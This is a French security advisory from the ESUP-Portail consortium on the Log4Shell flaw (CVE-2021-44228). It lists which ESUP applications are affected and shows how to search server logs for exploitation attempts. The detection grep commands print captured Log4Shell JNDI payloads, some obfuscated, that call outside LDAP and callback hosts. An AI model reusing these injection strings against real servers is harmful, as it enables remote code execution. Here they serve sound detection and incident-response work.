...
Les avis de sécurité du consortium ESUP-Portail portent sur des vulnérabilités des logiciels diffusés par le consortium. Il est de la responsabilité de chacun des destinataires de ce document de ne pas le rediffuser en dehors du cadre pour lequel il a été écrit, pour des raisons évidentes de sécurité des Systèmes d'Information de tous les établissements du consortium ESUP-Portail.
Objet | Log4shell - CVE-2021-44228 vis à vis des applications ESUP |
Référence | ESUP-2021-AVI-001 |
Date de la première version | 12 décembre 2021 |
Date de la dernière version | 12 décembre 2021 |
Source | CVE-2021-44228 |
Diffusion de cette version | Publique |
Historique |
|
Planning prévisionnel | - |
Pièces jointes | - |
Risque
- Possibilité pour un attaquant d'envoyer et faire exécuter du code arbitraire à un serveur.
...
- log4j (1.x) n'est pas concerné ; c'est un projet distinct de log4j2
- la faille est exploitable dans toutes les versions de Java (notamment avec tomcat)
- les versions à jour de java réduisent la surface bloquent un type d'attaque
- Apereo CAS est particulièrement exposé
...
Applications non concernées
- esup-dematec (elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties)
- esup-ecandidat
- esup-mdw ()
- esup-pod
- esup-pstage
- esup-signature
esup-smsu
esupUserApps / ProlongationENT
- esup-sgc
- esup-nfc-tag
- esup-papercut
- esup-pay
- esup-helpdesk
- uportal et portlets associées
- shibboleth idp (sauf docker)
- bbb 2.2
- ametys odf
- ade
ksup
esup-dematec - elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties
- ...
Librairies log Java
Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.
...
Vous pouvez rechercher '${' ou encore 'Reference Class' ou encore 'javax.el.ELProcessor@' pour voir si une tentative d'exploitation de la faille a été opérée.
...
| Bloc de code | ||
|---|---|---|
| ||
grep '${\|Reference Class\|javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log
2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]> |
...
| Bloc de code | ||
|---|---|---|
| ||
grep '${\|Reference Class\|javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log
CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc}
WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For}
CLIENT IP ADDRESS: Reference Class Name: foo |
Notes supplémentaires
- La chaine 'Reference Class' peut correspondre
...
- à une expression ${... qui a résulté de la récupération d'une référence à une classe elle-même non récupérée/exécutée.
...
- Mais cela peut aussi être la chaîne a été rentrée telle quelle ou le résultat de l'interprétation de bout en bout.
- la chaine ${.. est présente: elle a pu ne pas être interprétée (cas d'un CAS dont la vulnérabilité est fixée) ou elle a pu être interprétée partiellement ou de bout en bout (récupération de la référence, récupération du code) .
- la chaine 'javax.el.ELProcessor@' peut correspondre à une interprétation de bout en bout.
Dans tous les cas ; une analyse plus poussée (flux) est à envisager.
...